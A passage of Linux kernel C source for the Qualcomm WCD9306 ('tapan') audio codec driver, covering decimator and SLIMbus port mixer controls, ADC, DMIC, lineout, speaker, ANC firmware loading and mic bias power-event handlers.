u8 adc_dmic_sel = 0x0;
int ret = 0;
char *srch = NULL;
if (ucontrol->value.enumerated.item[0] > e->max - 1)
return -EINVAL;
dec_mux = ucontrol->value.enumerated.item[0];
widget_name = kstrndup(w->name, 15, GFP_KERNEL);
if (!widget_name)
return -ENOMEM;
temp = widget_name;
dec_name = strsep(&widget_name, " ");
widget_name = temp;
if (!dec_name) {
pr_err("%s: Invalid decimator = %s\n", __func__, w->name);
ret = -EINVAL;
goto out;
}
srch = strpbrk(dec_name, "1234");
if (srch == NULL) {
pr_err("%s: Invalid decimator name %s\n", __func__, dec_name);
return -EINVAL;
}
ret = kstrtouint(srch, 10, &decimator);
if (ret < 0) {
pr_err("%s: Invalid decimator = %s\n", __func__, dec_name);
ret = -EINVAL;
goto out;
}
dev_dbg(w->dapm->dev, "%s(): widget = %s decimator = %u dec_mux = %u\n"
, __func__, w->name, decimator, dec_mux);
switch (decimator) {
case 1:
case 2:
if ((dec_mux >= 1) && (dec_mux <= 5))
adc_dmic_sel = 0x0;
else if ((dec_mux >= 6) && (dec_mux <= 9))
adc_dmic_sel = 0x1;
break;
case 3:
case 4:
if ((dec_mux >= 1) && (dec_mux <= 6))
adc_dmic_sel = 0x0;
else if ((dec_mux >= 7) && (dec_mux <= 10))
adc_dmic_sel = 0x1;
break;
default:
pr_err("%s: Invalid Decimator = %u\n", __func__, decimator);
ret = -EINVAL;
goto out;
}
tx_mux_ctl_reg = TAPAN_A_CDC_TX1_MUX_CTL + 8 * (decimator - 1);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x1, adc_dmic_sel);
ret = snd_soc_dapm_put_enum_double(kcontrol, ucontrol);
out:
kfree(widget_name);
return ret;
}
#define WCD9306_DEC_ENUM(xname, xenum) \
{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, \
.info = snd_soc_info_enum_double, \
.get = snd_soc_dapm_get_enum_double, \
.put = wcd9306_put_dec_enum, \
.private_value = (unsigned long)&xenum }
static const struct snd_kcontrol_new dec1_mux =
WCD9306_DEC_ENUM("DEC1 MUX Mux", dec1_mux_enum);
static const struct snd_kcontrol_new dec2_mux =
WCD9306_DEC_ENUM("DEC2 MUX Mux", dec2_mux_enum);
static const struct snd_kcontrol_new dec3_mux =
WCD9306_DEC_ENUM("DEC3 MUX Mux", dec3_mux_enum);
static const struct snd_kcontrol_new dec4_mux =
WCD9306_DEC_ENUM("DEC4 MUX Mux", dec4_mux_enum);
static const struct snd_kcontrol_new iir1_inp1_mux =
SOC_DAPM_ENUM("IIR1 INP1 Mux", iir1_inp1_mux_enum);
static const struct snd_kcontrol_new iir1_inp2_mux =
SOC_DAPM_ENUM("IIR1 INP2 Mux", iir1_inp2_mux_enum);
static const struct snd_kcontrol_new iir1_inp3_mux =
SOC_DAPM_ENUM("IIR1 INP3 Mux", iir1_inp3_mux_enum);
static const struct snd_kcontrol_new iir1_inp4_mux =
SOC_DAPM_ENUM("IIR1 INP4 Mux", iir1_inp4_mux_enum);
static const struct snd_kcontrol_new iir2_inp1_mux =
SOC_DAPM_ENUM("IIR2 INP1 Mux", iir2_inp1_mux_enum);
static const struct snd_kcontrol_new iir2_inp2_mux =
SOC_DAPM_ENUM("IIR2 INP2 Mux", iir2_inp2_mux_enum);
static const struct snd_kcontrol_new iir2_inp3_mux =
SOC_DAPM_ENUM("IIR2 INP3 Mux", iir2_inp3_mux_enum);
static const struct snd_kcontrol_new iir2_inp4_mux =
SOC_DAPM_ENUM("IIR2 INP4 Mux", iir2_inp4_mux_enum);
static const struct snd_kcontrol_new anc1_mux =
SOC_DAPM_ENUM("ANC1 MUX Mux", anc1_mux_enum);
static const struct snd_kcontrol_new anc2_mux =
SOC_DAPM_ENUM("ANC2 MUX Mux", anc2_mux_enum);
static const struct snd_kcontrol_new anc1_fb_mux =
SOC_DAPM_ENUM("ANC1 FB MUX Mux", anc1_fb_mux_enum);
static const struct snd_kcontrol_new dac1_switch[] = {
SOC_DAPM_SINGLE("Switch", TAPAN_A_RX_EAR_EN, 5, 1, 0)
};
static const struct snd_kcontrol_new hphl_switch[] = {
SOC_DAPM_SINGLE("Switch", TAPAN_A_RX_HPH_L_DAC_CTL, 6, 1, 0)
};
static const struct snd_kcontrol_new spk_dac_switch[] = {
SOC_DAPM_SINGLE("Switch", TAPAN_A_SPKR_DRV_DAC_CTL, 2, 1, 0)
};
static const struct snd_kcontrol_new hphl_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
7, 1, 0),
};
static const struct snd_kcontrol_new hphr_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_R Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
6, 1, 0),
};
static const struct snd_kcontrol_new ear_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
5, 1, 0),
};
static const struct snd_kcontrol_new lineout1_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_L Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
4, 1, 0),
};
static const struct snd_kcontrol_new lineout2_pa_mix[] = {
SOC_DAPM_SINGLE("AUX_PGA_R Switch", TAPAN_A_RX_PA_AUX_IN_CONN,
3, 1, 0),
};
/* virtual port entries */
static int slim_tx_mixer_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
ucontrol->value.integer.value[0] = widget->value;
return 0;
}
static int slim_tx_mixer_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
struct snd_soc_codec *codec = widget->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
struct soc_multi_mixer_control *mixer =
((struct soc_multi_mixer_control *)kcontrol->private_value);
u32 dai_id = widget->shift;
u32 port_id = mixer->shift;
u32 enable = ucontrol->value.integer.value[0];
u32 vtable = vport_check_table[dai_id];
dev_dbg(codec->dev, "%s: wname %s cname %s\n",
__func__, widget->name, ucontrol->id.name);
dev_dbg(codec->dev, "%s: value %u shift %d item %ld\n",
__func__, widget->value, widget->shift,
ucontrol->value.integer.value[0]);
mutex_lock(&codec->mutex);
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
if (dai_id != AIF1_CAP) {
dev_err(codec->dev, "%s: invalid AIF for I2C mode\n",
__func__);
mutex_unlock(&codec->mutex);
return -EINVAL;
}
}
switch (dai_id) {
case AIF1_CAP:
case AIF2_CAP:
case AIF3_CAP:
/* only add to the list if value not set
*/
if (enable && !(widget->value & 1 << port_id)) {
if (tapan_p->intf_type ==
WCD9XXX_INTERFACE_TYPE_SLIMBUS)
vtable = vport_check_table[dai_id];
if (tapan_p->intf_type ==
WCD9XXX_INTERFACE_TYPE_I2C)
vtable = vport_i2s_check_table[dai_id];
if (wcd9xxx_tx_vport_validation(
vtable,
port_id,
tapan_p->dai, NUM_CODEC_DAIS)) {
dev_dbg(codec->dev, "%s: TX%u is used by other virtual port\n",
__func__, port_id + 1);
mutex_unlock(&codec->mutex);
return 0;
}
widget->value |= 1 << port_id;
list_add_tail(&core->tx_chs[port_id].list,
&tapan_p->dai[dai_id].wcd9xxx_ch_list
);
} else if (!enable && (widget->value & 1 << port_id)) {
widget->value &= ~(1 << port_id);
list_del_init(&core->tx_chs[port_id].list);
} else {
if (enable)
dev_dbg(codec->dev, "%s: TX%u port is used by\n"
"this virtual port\n",
__func__, port_id + 1);
else
dev_dbg(codec->dev, "%s: TX%u port is not used by\n"
"this virtual port\n",
__func__, port_id + 1);
/* avoid update power function */
mutex_unlock(&codec->mutex);
return 0;
}
break;
default:
dev_err(codec->dev, "Unknown AIF %d\n", dai_id);
mutex_unlock(&codec->mutex);
return -EINVAL;
}
dev_dbg(codec->dev, "%s: name %s sname %s updated value %u shift %d\n",
__func__, widget->name, widget->sname,
widget->value, widget->shift);
snd_soc_dapm_mixer_update_power(widget, kcontrol, enable);
mutex_unlock(&codec->mutex);
return 0;
}
static int slim_rx_mux_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
ucontrol->value.enumerated.item[0] = widget->value;
return 0;
}
static const char *const slim_rx_mux_text[] = {
"ZERO", "AIF1_PB", "AIF2_PB", "AIF3_PB"
};
static int slim_rx_mux_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_dapm_widget_list *wlist = snd_kcontrol_chip(kcontrol);
struct snd_soc_dapm_widget *widget = wlist->widgets[0];
struct snd_soc_codec *codec = widget->codec;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx *core = dev_get_drvdata(codec->dev->parent);
struct soc_enum *e = (struct soc_enum *)kcontrol->private_value;
u32 port_id = widget->shift;
dev_dbg(codec->dev, "%s: wname %s cname %s value %u shift %d item %ld\n",
__func__, widget->name, ucontrol->id.name, widget->value,
widget->shift, ucontrol->value.integer.value[0]);
widget->value = ucontrol->value.enumerated.item[0];
mutex_lock(&codec->mutex);
if (tapan_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
if (widget->value > 1) {
dev_err(codec->dev, "%s: invalid AIF for I2C mode\n",
__func__);
goto err;
}
}
/* value need to match the Virtual port and AIF number
*/
switch (widget->value) {
case 0:
list_del_init(&core->rx_chs[port_id].list);
break;
case 1:
if (wcd9xxx_rx_vport_validation(port_id +
TAPAN_RX_PORT_START_NUMBER,
&tapan_p->dai[AIF1_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tapan_p->dai[AIF1_PB].wcd9xxx_ch_list);
break;
case 2:
if (wcd9xxx_rx_vport_validation(port_id +
TAPAN_RX_PORT_START_NUMBER,
&tapan_p->dai[AIF2_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tapan_p->dai[AIF2_PB].wcd9xxx_ch_list);
break;
case 3:
if (wcd9xxx_rx_vport_validation(port_id +
TAPAN_RX_PORT_START_NUMBER,
&tapan_p->dai[AIF3_PB].wcd9xxx_ch_list)) {
dev_dbg(codec->dev, "%s: RX%u is used by current requesting AIF_PB itself\n",
__func__, port_id + 1);
goto rtn;
}
list_add_tail(&core->rx_chs[port_id].list,
&tapan_p->dai[AIF3_PB].wcd9xxx_ch_list);
break;
default:
pr_err("Unknown AIF %d\n", widget->value);
goto err;
}
rtn:
snd_soc_dapm_mux_update_power(widget, kcontrol, 1, widget->value, e);
mutex_unlock(&codec->mutex);
return 0;
err:
mutex_unlock(&codec->mutex);
return -EINVAL;
}
static const struct soc_enum slim_rx_mux_enum =
SOC_ENUM_SINGLE_EXT(ARRAY_SIZE(slim_rx_mux_text), slim_rx_mux_text);
static const struct snd_kcontrol_new slim_rx_mux[TAPAN_RX_MAX] = {
SOC_DAPM_ENUM_EXT("SLIM RX1 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX2 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX3 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX4 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
SOC_DAPM_ENUM_EXT("SLIM RX5 Mux", slim_rx_mux_enum,
slim_rx_mux_get, slim_rx_mux_put),
};
static const struct snd_kcontrol_new aif_cap_mixer[] = {
SOC_SINGLE_EXT("SLIM TX1", SND_SOC_NOPM, TAPAN_TX1, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX2", SND_SOC_NOPM, TAPAN_TX2, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX3", SND_SOC_NOPM, TAPAN_TX3, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX4", SND_SOC_NOPM, TAPAN_TX4, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
SOC_SINGLE_EXT("SLIM TX5", SND_SOC_NOPM, TAPAN_TX5, 1, 0,
slim_tx_mixer_get, slim_tx_mixer_put),
};
static int tapan_codec_enable_adc(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u16 adc_reg;
u8 init_bit_shift;
dev_dbg(codec->dev, "%s(): %s %d\n", __func__, w->name, event);
if (w->reg == TAPAN_A_TX_1_EN) {
init_bit_shift = 7;
adc_reg = TAPAN_A_TX_1_2_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_2_EN) {
init_bit_shift = 6;
adc_reg = TAPAN_A_TX_1_2_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_3_EN) {
init_bit_shift = 6;
adc_reg = TAPAN_A_TX_1_2_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_4_EN) {
init_bit_shift = 7;
adc_reg = TAPAN_A_TX_4_5_TEST_CTL;
} else if (w->reg == TAPAN_A_TX_5_EN) {
init_bit_shift = 6;
adc_reg = TAPAN_A_TX_4_5_TEST_CTL;
} else {
pr_err("%s: Error, invalid adc register\n", __func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (w->reg == TAPAN_A_TX_3_EN ||
w->reg == TAPAN_A_TX_1_EN)
wcd9xxx_resmgr_notifier_call(&tapan->resmgr,
WCD9XXX_EVENT_PRE_TX_1_3_ON);
snd_soc_update_bits(codec, adc_reg, 1 << init_bit_shift,
1 << init_bit_shift);
break;
case SND_SOC_DAPM_POST_PMU:
usleep_range(2000, 2010);
snd_soc_update_bits(codec, adc_reg, 1 << init_bit_shift, 0x00);
break;
case SND_SOC_DAPM_POST_PMD:
if (w->reg == TAPAN_A_TX_3_EN ||
w->reg == TAPAN_A_TX_1_EN)
wcd9xxx_resmgr_notifier_call(&tapan->resmgr,
WCD9XXX_EVENT_POST_TX_1_3_OFF);
break;
}
return 0;
}
static int tapan_codec_enable_aux_pga(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
wcd9xxx_resmgr_get_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
/* AUX PGA requires RCO or MCLK */
wcd9xxx_resmgr_get_clk_block(&tapan->resmgr, WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 1);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_resmgr_enable_rx_bias(&tapan->resmgr, 0);
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
wcd9xxx_resmgr_put_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
wcd9xxx_resmgr_put_clk_block(&tapan->resmgr, WCD9XXX_CLK_RCO);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
break;
}
return 0;
}
static int tapan_codec_enable_lineout(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u16 lineout_gain_reg;
dev_dbg(codec->dev, "%s %d %s\n", __func__, event, w->name);
switch (w->shift) {
case 0:
lineout_gain_reg = TAPAN_A_RX_LINE_1_GAIN;
break;
case 1:
lineout_gain_reg = TAPAN_A_RX_LINE_2_GAIN;
break;
default:
pr_err("%s: Error, incorrect lineout register value\n",
__func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
break;
case SND_SOC_DAPM_POST_PMU:
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
dev_dbg(codec->dev, "%s: sleeping 5 ms after %s PA turn on\n",
__func__, w->name);
/* Wait for CnP time after PA enable */
usleep_range(5000, 5100);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_clsh_fsm(codec, &tapan->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
dev_dbg(codec->dev, "%s: sleeping 5 ms after %s PA turn on\n",
__func__, w->name);
/* Wait for CnP time after PA disable */
usleep_range(5000, 5100);
break;
}
return 0;
}
static int tapan_codec_enable_spk_pa(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
tapan->spkr_pa_widget_on = true;
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x80);
break;
case SND_SOC_DAPM_POST_PMD:
tapan->spkr_pa_widget_on = false;
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x00);
break;
}
return 0;
}
static int tapan_codec_enable_dmic(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u8 dmic_clk_en;
u16 dmic_clk_reg;
s32 *dmic_clk_cnt;
unsigned int dmic;
int ret;
char *srch = NULL;
srch = strpbrk(w->name, "1234");
if (srch == NULL) {
pr_err("%s: Invalid widget name %s\n", __func__, w->name);
return -EINVAL;
}
ret = kstrtouint(srch, 10, &dmic);
if (ret < 0) {
pr_err("%s: Invalid DMIC line on the codec\n", __func__);
return -EINVAL;
}
switch (dmic) {
case 1:
case 2:
dmic_clk_en = 0x01;
dmic_clk_cnt = &(tapan->dmic_1_2_clk_cnt);
dmic_clk_reg = TAPAN_A_CDC_CLK_DMIC_B1_CTL;
dev_dbg(codec->dev, "%s() event %d DMIC%d dmic_1_2_clk_cnt %d\n",
__func__, event, dmic, *dmic_clk_cnt);
break;
case 3:
case 4:
dmic_clk_en = 0x10;
dmic_clk_cnt = &(tapan->dmic_3_4_clk_cnt);
dmic_clk_reg = TAPAN_A_CDC_CLK_DMIC_B1_CTL;
dev_dbg(codec->dev, "%s() event %d DMIC%d dmic_3_4_clk_cnt %d\n",
__func__, event, dmic, *dmic_clk_cnt);
break;
default:
pr_err("%s: Invalid DMIC Selection\n", __func__);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
(*dmic_clk_cnt)++;
if (*dmic_clk_cnt == 1)
snd_soc_update_bits(codec, dmic_clk_reg,
dmic_clk_en, dmic_clk_en);
break;
case SND_SOC_DAPM_POST_PMD:
(*dmic_clk_cnt)--;
if (*dmic_clk_cnt == 0)
snd_soc_update_bits(codec, dmic_clk_reg,
dmic_clk_en, 0);
break;
}
return 0;
}
static int tapan_codec_enable_anc(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
const char *filename;
const struct firmware *fw;
int i;
int ret;
int num_anc_slots;
struct wcd9xxx_anc_header *anc_head;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u32 anc_writes_size = 0;
int anc_size_remaining;
u32 *anc_ptr;
u16 reg;
u8 mask, val, old_val;
dev_dbg(codec->dev, "%s %d\n", __func__, event);
if (tapan->anc_func == 0)
return 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
filename = "wcd9306/wcd9306_anc.bin";
ret = request_firmware(&fw, filename, codec->dev);
if (ret != 0) {
dev_err(codec->dev, "Failed to acquire ANC data: %d\n",
ret);
return -ENODEV;
}
if (fw->size < sizeof(struct wcd9xxx_anc_header)) {
dev_err(codec->dev, "Not enough data\n");
release_firmware(fw);
return -ENOMEM;
}
/* First number is the number of register writes */
anc_head = (struct wcd9xxx_anc_header *)(fw->data);
anc_ptr = (u32 *)((u32)fw->data +
sizeof(struct wcd9xxx_anc_header));
anc_size_remaining = fw->size -
sizeof(struct wcd9xxx_anc_header);
num_anc_slots = anc_head->num_anc_slots;
if (tapan->anc_slot >= num_anc_slots) {
dev_err(codec->dev, "Invalid ANC slot selected\n");
release_firmware(fw);
return -EINVAL;
}
for (i = 0; i < num_anc_slots; i++) {
if (anc_size_remaining < TAPAN_PACKED_REG_SIZE) {
dev_err(codec->dev, "Invalid register format\n");
release_firmware(fw);
return -EINVAL;
}
anc_writes_size = (u32)(*anc_ptr);
anc_size_remaining -= sizeof(u32);
anc_ptr += 1;
if (anc_writes_size * TAPAN_PACKED_REG_SIZE
> anc_size_remaining) {
dev_err(codec->dev, "Invalid register format\n");
release_firmware(fw);
return -ENOMEM;
}
if (tapan->anc_slot == i)
break;
anc_size_remaining -= (anc_writes_size *
TAPAN_PACKED_REG_SIZE);
anc_ptr += anc_writes_size;
}
if (i == num_anc_slots) {
dev_err(codec->dev, "Selected ANC slot not present\n");
release_firmware(fw);
return -ENOMEM;
}
for (i = 0; i < anc_writes_size; i++) {
TAPAN_CODEC_UNPACK_ENTRY(anc_ptr[i], reg,
mask, val);
old_val = snd_soc_read(codec, reg);
snd_soc_write(codec, reg, (old_val & ~mask) |
(val & mask));
}
release_firmware(fw);
break;
case SND_SOC_DAPM_PRE_PMD:
msleep(40);
snd_soc_update_bits(codec, TAPAN_A_CDC_ANC1_B1_CTL, 0x01, 0x00);
snd_soc_update_bits(codec, TAPAN_A_CDC_ANC2_B1_CTL, 0x02, 0x00);
msleep(20);
snd_soc_write(codec, TAPAN_A_CDC_CLK_ANC_RESET_CTL, 0x0F);
snd_soc_write(codec, TAPAN_A_CDC_CLK_ANC_CLK_EN_CTL, 0);
snd_soc_write(codec, TAPAN_A_CDC_CLK_ANC_RESET_CTL, 0xFF);
break;
}
return 0;
}
static int tapan_codec_enable_micbias(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
u16 micb_int_reg = 0, micb_ctl_reg = 0;
u8 cfilt_sel_val = 0;
char *internal1_text = "Internal1";
char *internal2_text = "Internal2";
char *internal3_text = "Internal3";
enum wcd9xxx_notify_event e_post_off, e_pre_on, e_post_on;
pr_debug("%s: w->name %s event %d\n", __func__, w->name, event);
if (strnstr(w->name, "MIC BIAS1", sizeof("MIC BIAS1"))) {
micb_ctl_reg = TAPAN_A_MICB_1_CTL;
micb_int_reg = TAPAN_A_MICB_1_INT_RBIAS;
cfilt_sel_val = tapan->resmgr.pdata->micbias.bias1_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_1_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_1_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_1_OFF;
} else if (strnstr(w->name, "MIC BIAS2", sizeof("MIC BIAS2"))) {
micb_ctl_reg = TAPAN_A_MICB_2_CTL;
micb_int_reg = TAPAN_A_MICB_2_INT_RBIAS;
cfilt_sel_val = tapan->resmgr.pdata->micbias.bias2_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_2_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_2_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_2_OFF;
} else if (strnstr(w->name, "MIC BIAS3", sizeof("MIC BIAS3"))) {
micb_ctl_reg = TAPAN_A_MICB_3_CTL;
micb_int_reg = TAPAN_A_MICB_3_INT_RBIAS;
cfilt_sel_val = tapan->resmgr.pdata->micbias.bias3_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_3_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_3_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_3_OFF;
} else {
pr_err("%s: Error, invalid micbias %s\n", __func__, w->name);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Let MBHC module know so micbias switch to be off */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_pre_on);
/* Get cfilt */
wcd9xxx_resmgr_cfilt_get(&tapan->resmgr, cfilt_sel_val);
if (strnstr(w->name, internal1_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0xE0, 0xE0);
else if (strnstr(w->name, internal2_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x1C, 0x1C);
else if (strnstr(w->name, internal3_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x3, 0x3);
if (micb_ctl_reg == TAPAN_A_MICB_2_CTL) {
if (++tapan->micb_2_users == 1)
wcd9xxx_resmgr_add_cond_update_bits(
&tapan->resmgr,
WCD9XXX_COND_HPH_MIC,
micb_ctl_reg, w->shift,
false);
pr_debug("%s: micb_2_users %d\n", __func__,
tapan->micb_2_users);
} else
snd_soc_update_bits(codec, micb_ctl_reg, 1 << w->shift,
1 << w->shift);
break;
case SND_SOC_DAPM_POST_PMU:
usleep_range(20000, 20000);
/* Let MBHC module know so micbias is on */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_post_on);
break;
case SND_SOC_DAPM_POST_PMD:
if (micb_ctl_reg == TAPAN_A_MICB_2_CTL) {
if (--tapan->micb_2_users == 0)
wcd9xxx_resmgr_rm_cond_update_bits(
&tapan->resmgr,
WCD9XXX_COND_HPH_MIC,
micb_ctl_reg, 7,
false);
pr_debug("%s: micb_2_users %d\n", __func__,
tapan->micb_2_users);
WARN(tapan->micb_2_users < 0,
"Unexpected micbias users %d\n",
tapan->micb_2_users);
} else
snd_soc_update_bits(codec, micb_ctl_reg, 1 << w->shift,
0);
/* Let MBHC module know so micbias switch to be off */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, e_post_off);
if (strnstr(w->name, internal1_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x80, 0x00);
else if (strnstr(w->name, internal2_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x10, 0x00);
else if (strnstr(w->name, internal3_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x2, 0x0);
/* Put cfilt */
wcd9xxx_resmgr_cfilt_put(&tapan->resmgr, cfilt_sel_val);
break;
}
return 0;
}
/* called under codec_resource_lock acquisition */
static int tapan_enable_mbhc_micbias(struct snd_soc_codec *codec, bool enable,
enum wcd9xxx_micbias_num micb_num)
{
int rc;
const char *micbias;
if (micb_num == MBHC_MICBIAS2)
micbias = DAPM_MICBIAS2_EXTERNAL_STANDALONE;
else
return -EINVAL;
if (enable)
rc = snd_soc_dapm_force_enable_pin(&codec->dapm,
micbias);
else
rc = snd_soc_dapm_disable_pin(&codec->dapm,
micbias);
if (!rc)
snd_soc_dapm_sync(&codec->dapm);
pr_debug("%s: leave ret %d\n", __func__, rc);
return rc;
}
static void tx_hpf_corner_freq_callback(struct work_struct *work)
{
struct delayed_work *hpf_delayed_work;
struct hpf_work *hpf_work;
struct tapan_priv *tapan;
struct snd_soc_codec *codec;
u16 tx_mux_ctl_reg;
u8 hpf_cut_of_freq;
hpf_delayed_work = to_delayed_work(work);
hpf_work = container_of(hpf_delayed_work, struct hpf_work, dwork);
tapan = hpf_work->tapan;
codec = hpf_work->tapan->codec;
hpf_cut_of_freq = hpf_work->tx_hpf_cut_of_freq;
tx_mux_ctl_reg = TAPAN_A_CDC_TX1_MUX_CTL +
(hpf_work->decimator - 1) * 8;
dev_dbg(codec->dev, "%s(): decimator %u hpf_cut_of_freq 0x%x\n",
__func__, hpf_work->decimator, (unsigned int)hpf_cut_of_freq);
snd_soc_update_bits(codec, TAPAN_A_TX_1_2_TXFE_CLKDIV, 0x55, 0x55);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30, hpf_cut_of_freq << 4);
}
#define TX_MUX_CTL_CUT_OFF_FREQ_MASK 0x30
#define CF_MIN_3DB_4HZ 0x0
#define CF_MIN_3DB_75HZ 0x1
#define CF_MIN_3DB_150HZ 0x2
static int tapan_codec_enable_dec(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
unsigned int decimator;
struct tapan_priv *tapan_p = snd_soc_codec_get_drvdata(codec);
char *dec_name = NULL;
char *widget_name = NULL;
char *temp;
int ret = 0, i;
u16 dec_reset_reg, tx_vol_ctl_reg, tx_mux_ctl_reg;
u8 dec_hpf_cut_of_freq;
int offset;
char *srch = NULL;
dev_dbg(codec->dev, "%s %d\n", __func__, event);
